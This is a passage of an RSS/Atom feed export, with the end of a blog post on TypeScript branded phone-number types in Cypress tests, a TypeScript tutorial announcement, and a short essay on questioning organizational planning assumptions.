it&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt; phoneNumber = &lt;span&gt;&amp;apos;0001234567&amp;apos;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;span&gt;assertTestPhoneNumber&lt;/span&gt;(phoneNumber)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Look at the use of the variable &lt;code&gt;phoneNumber&lt;/code&gt; after the &lt;code&gt;assertTestPhoneNumber&lt;/code&gt; call:&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;bqrUnknownImgSize&quot; src=&quot;https://glebbahmutov.com/images/branded-phone-type/phone.png&quot; alt=&quot;TypeScript: phoneNumber variable holds a test phone number&quot;&gt;&lt;/p&gt;&lt;p&gt;Beautiful. We can receive data from our backend and immediately cast it by validating&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;span&gt;5&lt;/span&gt;&lt;br&gt;&lt;span&gt;6&lt;/span&gt;&lt;br&gt;&lt;span&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;cy.&lt;span&gt;request&lt;/span&gt;(...)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  .&lt;span&gt;its&lt;/span&gt;(&lt;span&gt;&amp;apos;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://data.phone&quot;&gt;data.phone&lt;/a&gt;&amp;apos;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  .&lt;span&gt;then&lt;/span&gt;(&lt;span&gt;&lt;span&gt;phone&lt;/span&gt; =&amp;gt;&lt;/span&gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;// phone is &amp;quot;any&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;assertTestPhoneNumber&lt;/span&gt;(phone)&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;// phone is &amp;quot;TestPhoneNumber&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;  })&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;There is no more confusion, the branded types let us statically check the variables. Yet every test and real phone number is also a string, so we can pass and use them, just like any string&lt;/p&gt;&lt;figure&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;1&lt;/span&gt;&lt;br&gt;&lt;span&gt;2&lt;/span&gt;&lt;br&gt;&lt;span&gt;3&lt;/span&gt;&lt;br&gt;&lt;span&gt;4&lt;/span&gt;&lt;br&gt;&lt;span&gt;5&lt;/span&gt;&lt;br&gt;&lt;span&gt;6&lt;/span&gt;&lt;br&gt;&lt;span&gt;7&lt;/span&gt;&lt;br&gt;&lt;span&gt;8&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span&gt;cy.&lt;span&gt;request&lt;/span&gt;(...)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  .&lt;span&gt;its&lt;/span&gt;(&lt;span&gt;&amp;apos;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://data.phone&quot;&gt;data.phone&lt;/a&gt;&amp;apos;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  .&lt;span&gt;then&lt;/span&gt;(&lt;span&gt;&lt;span&gt;phone&lt;/span&gt; =&amp;gt;&lt;/span&gt; {&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;// phone is &amp;quot;any&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;assertTestPhoneNumber&lt;/span&gt;(phone)&lt;/span&gt;&lt;br&gt;&lt;span&gt;    &lt;span&gt;// phone is &amp;quot;TestPhoneNumber&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span&gt;    cy.&lt;span&gt;get&lt;/span&gt;(&lt;span&gt;&amp;apos;#phone&amp;apos;&lt;/span&gt;).&lt;span&gt;type&lt;/span&gt;(phone)&lt;/span&gt;&lt;br&gt;&lt;span&gt;  })&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary><author><name>Gleb Bahmutov</name></author><source gr:stream-id="feed/https://glebbahmutov.com/blog/atom.xml"><id>tag:google.com,2005:reader/feed/https://glebbahmutov.com/blog/atom.xml</id><title type="html">Better world by better software</title><link rel="alternate" href="https://glebbahmutov.com/blog/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793919600000"><id gr:original-id="https://scrolltest.com/?p=7896">tag:google.com,2005:reader/item/000004440000036a</id><category term="Javascript"></category><category term="Testing"></category><title type="html">Day 38 of 100: Union and Intersection Types — Modeling Test States</title><published>2026-11-05T23:00:00Z</published><updated>2026-11-05T23:00:00Z</updated><link rel="alternate" href="https://scrolltest.com/100-days-day-38-typescript-union-intersection/" type="text/html"></link><summary type="html">&lt;p&gt;Day 38 of 100: Literal unions for statuses, intersections for composition, discriminated unions for API results.&lt;/p&gt;
&lt;p&gt;The post &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; rel=&quot;nofollow&quot; href=&quot;https://scrolltest.com/100-days-day-38-typescript-union-intersection/&quot;&gt;Day 38 of 100: Union and Intersection Types — Modeling Test States&lt;/a&gt; appeared first on &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; rel=&quot;nofollow&quot; href=&quot;https://scrolltest.com&quot;&gt;Software Testing &amp;amp; Automation&lt;/a&gt;.&lt;/p&gt;</summary><author><name>Pramod Dutta</name></author><source gr:stream-id="feed/https://scrolltest.com/feed/"><id>tag:google.com,2005:reader/feed/https://scrolltest.com/feed/</id><title type="html">Software Testing &amp; Automation</title><link rel="alternate" href="https://scrolltest.com" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793916594539"><id gr:original-id="http://lucianadrians.wordpress.com/?p=915">tag:google.com,2005:reader/item/0000062c0000002f</id><category term="Uncategorized"></category><title type="html">We are not in Kansas anymore.. Dorothy</title><published>2026-11-05T22:09:54Z</published><updated>2026-11-05T22:09:54Z</updated><link rel="alternate" href="https://lucianadrians.wordpress.com/2026/09/15/we-are-not-in-kansas-anymore-dorothy/" type="text/html"></link><summary type="html">&lt;p&gt;Mid summer is a weird period inside corporations. It is the time when next year blueprint is layed out. This is the time when next year’s plans, budget and maybe even performance targets are more or less negotiated at the top level.&lt;/p&gt;



&lt;p&gt;At the same time, recent times showed at least one lesson, that of unpredictability around the future. What was predictable and “plannable” one or two years ago, becomes volatile. &lt;/p&gt;



&lt;p&gt;&lt;/p&gt;



&lt;p&gt;Eduard de Bono wrote “Lateral thinking” around 1967, and included what was to me a surprising line about assumptions. I read the book in Romanian, so I do not have the exact english wording, but it goes on the line of ” long-standing assumptions often persist simply because time has passed, not because they have been actively evaluated or proven true.”. &lt;/p&gt;



&lt;p&gt;To me this is what I see and feel happening right now in many organisations. We operate on a set of assumptions that have not been proven or challenged in a long time. We still operate and plan very much like we did 3-5 years ago, while the world is shifting faster than ever. &lt;/p&gt;



&lt;p&gt;This creates some unique conditions for some spectacular failures. The good news is that questions help, introspection helps, there are known options to operate in environments with high uncertainty. All it takes is to admit and prepare for it. It is not easy, but “we are not in Kansas anymore” as some “Wizard of Oz” characters would say, and acting without regard to the context does not help.&lt;/p&gt;



&lt;p&gt;How long have our current working assumptions been left unchecked?&lt;/p&gt;



&lt;p&gt;What happens if our current assumptions break and prove false?&lt;/p&gt;



&lt;p&gt;How can we adapt or change our way of working?&lt;/p&gt;</summary><author><name>lucianadrianstroie</name></author><source gr:stream-id="feed/https://lucianadrians.wordpress.com/feed/"><id>tag:google.com,2005:reader/feed/https://lucianadrians.wordpress.com/feed/</id><title type="html">Mindsets are more powerful than practices</title><link rel="alternate" href="https://lucianadrians.wordpress.com" type="text/html"></link></source></entry></feed>